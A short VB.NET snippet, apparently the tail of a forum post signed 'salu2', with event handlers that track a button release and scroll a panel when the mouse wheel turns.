    Private Sub Button_Up_MouseUp(sender As Object, e As MouseEventArgs) Handles Button1.MouseUp
        Button_Up_Is_Pressed = False
    End Sub

    Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles Panel1.MouseWheel
        If Panel1.Focused Then
            Select Case Math.Sign(e.Delta)
                Case Is > 0 : Scroll_Up(Largechange)
                Case Is < 0 : Scroll_Down(Largechange)
            End Select
        End If
    End Sub

End Class

salu2